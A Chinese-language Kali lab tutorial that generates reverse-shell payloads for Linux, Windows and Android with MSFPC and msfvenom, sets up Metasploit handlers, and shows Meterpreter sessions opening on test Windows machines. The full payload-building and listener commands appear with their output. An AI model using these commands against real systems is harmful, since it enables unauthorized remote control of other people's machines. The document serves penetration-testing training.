Kali渗透测试:远程控制程序基础

简介: Kali渗透测试:远程控制程序基础

Kali渗透测试:远程控制程序基础
测试环境:
攻击机:Linux kali 5.16.0-kali (IP:192.168.68.248)

靶机:WinXP (IP:192.168.68.159) Win7 (IP:192.168.68.206)

1. 使用MSFPC生成被控端
远程控制软件中的被控端和主控端必须是成对使用的。被控端运行在目标设备上,其功能挺起来和木马很像,实际上是如此,被控端(可以是一段代码,也可以是一个能直接执行的程序)。在Kali Linux 中提供了一个名为MSFPC(全称:MSFvenom Payload Creator)的工具,如下图所示:

image.png

MSFPC也是一个靠命令来完成任务的工具,但是要比MSFvenom的语法简单。启动后提供了各种类型的被控端,如下图红框所示:

image.png

【1】构造被控端命令
构造一个可以在Linux操作系统下运行的被控端,这里只向MSFPC传递一个参数,命令如下:

┌──(kali㉿kali)-[~]
└─$ msfpc linux

接下来,我们只向MSFPC提供被控端运行的操作系统,要将该操作系统作为一个反向的木马被控端还需要添加主控端端IP地址,默认情况下,MSFPC会要求你进行选择, 如下所示:

┌──(kali㉿kali)-[~]
└─$ msfpc linux
 [*] MSFvenom Payload Creator (MSFPC v1.4.5)

 [i] Use which interface - IP address?:
 [i]   1.) lo - 127.0.0.1
 [i]   2.) eth0 - 192.168.68.248
 [i]   3.) wan - 122.143.34.227
 [?] Select 1-3, interface or IP address:

根据上面的提示,选择2.)eth0选项作为主控端IP地址。运行之后,可以看到被控端生成,如下所示:

[i] Use which interface - IP address?:
 [i]   1.) lo - 127.0.0.1
 [i]   2.) eth0 - 192.168.68.248
 [i]   3.) wan - 122.143.34.227
 [?] Select 1-3, interface or IP address: 2       # 选择2

# 被控端生成
 [i]   IP: 192.168.68.248
 [i] PORT: 443
 [i] TYPE: linux (linux/x86/shell/reverse_tcp)
 [i]  CMD: msfvenom -p linux/x86/shell/reverse_tcp -f elf \
  --platform linux -a x86 -e generic/none LHOST=192.168.68.248 LPORT=443 \
  > '/home/kali/linux-shell-staged-reverse-tcp-443.elf'

 [i] linux shell created: '/home/kali/linux-shell-staged-reverse-tcp-443.elf'

 [i] MSF handler file: '/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc'
 [i] Run: msfconsole -q -r '/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

从执行结果可以看到被控端的一些信息,其中CMD后面的内容就是和MSFPC命令效果相同的msfvenom命令,也就是说,在kali终端中直接使用这段命令也可以生成相同的被控端。

【2】配置主控端handler
有了这个被控端,还应该有一个对应的主控端, 这个可以通过在Metasploit中配置handler来实现。不过MSFC提供了一个非常方便的脚本,执行结果中的"MSF handler file"里面就是这个脚本的内容,如下所示:

[i] MSF handler file: '/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc'

在终端执行“Run:”后面的命令:

sudo msfconsole -q -r '/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc'
[sudo] password for kali: 
[*] Processing /home/kali/linux-shell-staged-reverse-tcp-443-elf.rc for ERB directives.
resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set PAYLOAD linux/x86/shell/reverse_tcp
PAYLOAD => linux/x86/shell/reverse_tcp
resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set LHOST 192.168.68.248
LHOST => 192.168.68.248
resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set LPORT 443
LPORT => 443
resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set ExitOnSession false
ExitOnSession => false
resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> set EnableStageEncoding true
EnableStageEncoding => true
resource (/home/kali/linux-shell-staged-reverse-tcp-443-elf.rc)> run -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Starting persistent handler(s)...

[*] Started reverse TCP handler on 192.168.68.248:443           #  建立好的hanlder
msf6 exploit(multi/handler) >

一旦被控端在目标系统运行起来,就可以使用handler控制目标系统。

利用相同方法建立Windows操作系统下和Android操作系统下的被控端。首先生成Windows操作系统的被控端,生成命令如下:

┌──(kali㉿kali)-[~]
└─$ msfpc windows 192.168.68.248
 [*] MSFvenom Payload Creator (MSFPC v1.4.5)
 [i]   IP: 192.168.68.248
 [i] PORT: 443
 [i] TYPE: windows (windows/meterpreter/reverse_tcp)
 [i]  CMD: msfvenom -p windows/meterpreter/reverse_tcp -f exe \
  --platform windows -a x86 -e generic/none LHOST=192.168.68.248 LPORT=443 \
  > '/home/kali/windows-meterpreter-staged-reverse-tcp-443.exe'

 [i] windows meterpreter created: '/home/kali/windows-meterpreter-staged-reverse-tcp-443.exe'

 [i] MSF handler file: '/home/kali/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
 [i] Run: msfconsole -q -r '/home/kali/windows-meterpreter-staged-reverse-tcp-443-exe.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

默认情况下,被控端与主控端的通信都使用TCP。如果需要加密通信的话,也可以考虑生成HTTPS通信的Android操作系统被控端,生成命令如下:

┌──(kali㉿kali)-[~]
└─$ msfpc apk https 192.168.68.248
 [*] MSFvenom Payload Creator (MSFPC v1.4.5)
 [i]   IP: 192.168.68.248
 [i] PORT: 443
 [i] TYPE: android (android/meterpreter/reverse_https)
 [i]  CMD: msfvenom -p android/meterpreter/reverse_https \
  LHOST=192.168.68.248 LPORT=443 \
  > '/home/kali/android-meterpreter-stageless-reverse-https-443.apk'

 [i] android meterpreter created: '/home/kali/android-meterpreter-stageless-reverse-https-443.apk'

 [i] MSF handler file: '/home/kali/android-meterpreter-stageless-reverse-https-443-apk.rc'
 [i] Run: msfconsole -q -r '/home/kali/android-meterpreter-stageless-reverse-https-443-apk.rc'
 [?] Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
 [*] Done!

2. Kali中使用msfvenom命令生成被控端
这个命令是新版本的Metasploit将msfpayload(生成攻击载荷)和msfencode(对攻击载荷编码)合成的。以windows为例,命令如下:

# lhost=ip lport=port  =两边没有空格
┌──(kali㉿kali)-[~]
└─$ sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.68.248 lport=5000 -f exe -o  /root/payload.exe
[sudo] password for kali: 
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: /root/payload.exe

msfvenom命令生成一个被控端,使用的被控端就是一个用于Windows操作系统的反向远程控制软件,即windows/meterpreter/reverse_tcp,它的参数lhost的值为192.168.68.248(是Kali Linux虚拟机的IP地址)。生成的被控端文件如下图所示:
image.png

3. 查看生成的攻击载荷的详细信息
如果不了解某个攻击载荷的使用方法,可以通过参数–list-options来查看这个攻击载荷需要设置的参数,命令如下:

┌──(kali㉿kali)-[~]
└─$ msfvenom --list-options -p windows/meterpreter/reverse_tcp

结果如下图所示:

image.png

红框内的部分就是需要设置的参数。

4. 启动主控端
被控端在靶机上运行,那么就会立刻回连到IP地址为192.168.68.248的攻击机上。但是攻击机端需要启动一个原创控制文件的主控端,打开终端,输入如下命令:

┌──(root💀kali)-[~]
└─# msfconsole

启动之后如下图所示:
image.png

5. 启动handler
在Metasploit中使用handler来作为主控端,这个handler位于exploit下的multi目录中,启动命令如下:

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) >

6. 设置payload、lhot、lport

msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set lhost 192.168.68.248
lhost => 192.168.68.248
msf6 exploit(multi/handler) > set lport 5000
lport => 5000

7. 启动exploit

msf6 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.68.248:5000 
[*] Sending stage (175174 bytes) to 192.168.68.206
[*] Sending stage (175174 bytes) to 192.168.68.206
[-] Failed to load client portion of stdapi.
[*] Meterpreter session 2 opened (192.168.68.248:5000 -> 192.168.68.206:2696 ) at 2022-05-07 15:18:02 +0800
[*] Meterpreter session 1 opened (192.168.68.248:5000 -> 192.168.68.206:2695 ) at 2022-05-07 15:18:02 +0800

在靶机Win7上启动payload.exe

image.png

在攻击机端打开session后,出现一个meterpreter,它其实就是被控端,Meterpreter运行在内存中,通过注入DLL文件实现,在靶机上不会留有文件痕迹,Win7靶机执行dir命令如下图所示:

image.png

XP靶机上运行payload被控端程序,如下图所示:

image.png

在攻击机上执行命令dir 如下图所示:
image.png

相关文章
|
4天前
|
Linux Shell 网络安全
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
本指南介绍如何利用 HTA 文件和 Metasploit 框架进行渗透测试。通过创建反向 shell、生成 HTA 文件、设置 HTTP 服务器和发送文件,最终实现对目标系统的控制。适用于教育目的,需合法授权。
28 9
Kali Linux系统Metasploit框架利用 HTA 文件进行渗透测试实验
|
11天前
|
算法 Java 测试技术
Benchmark.NET:让 C# 测试程序性能变得既酷又简单
Benchmark.NET是一款专为 .NET 平台设计的性能基准测试框架,它可以帮助你测量代码的执行时间、内存使用情况等性能指标。它就像是你代码的 "健身教练",帮助你找到瓶颈,优化性能,让你的应用跑得更快、更稳!希望这个小教程能让你在追求高性能的路上越走越远,享受编程带来的无限乐趣!
55 13
|
17天前
|
并行计算 算法 测试技术
C语言因高效灵活被广泛应用于软件开发。本文探讨了优化C语言程序性能的策略,涵盖算法优化、代码结构优化、内存管理优化、编译器优化、数据结构优化、并行计算优化及性能测试与分析七个方面
C语言因高效灵活被广泛应用于软件开发。本文探讨了优化C语言程序性能的策略,涵盖算法优化、代码结构优化、内存管理优化、编译器优化、数据结构优化、并行计算优化及性能测试与分析七个方面,旨在通过综合策略提升程序性能,满足实际需求。
46 1
|
1月前
|
编解码 安全 Linux
网络空间安全之一个WH的超前沿全栈技术深入学习之路(10-2):保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali——Liinux-Debian:就怕你学成黑客啦!)作者——LJS
保姆级别教会你如何搭建白帽黑客渗透测试系统环境Kali以及常见的报错及对应解决方案、常用Kali功能简便化以及详解如何具体实现
|
2月前
|
网络协议 安全 Linux
Kali渗透测试:拒绝服务攻击(一)
Kali渗透测试:拒绝服务攻击(一)
173 2
|
2月前
|
存储 网络协议 安全
Kali渗透测试:拒绝服务攻击(二)
Kali渗透测试:拒绝服务攻击(二)
245 0
|
2月前
|
安全 网络安全 数据库
Kali测试:散列密码破解(一)
Kali渗透测试:散列密码破解(一)
39 0
|
2月前
|
安全 应用服务中间件 网络安全
Kali测试:散列密码破解(二)
Kali渗透测试:散列密码破解(二)
117 0
|
2月前
|
安全 网络安全
Kali渗透测试:使用Armitage扫描网络
Kali渗透测试:使用Armitage扫描网络
61 3
|
2月前
|
安全 Linux 网络安全
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)
Kali 渗透测试:基于结构化异常处理的渗透-使用Python编写渗透模块(一)
68 2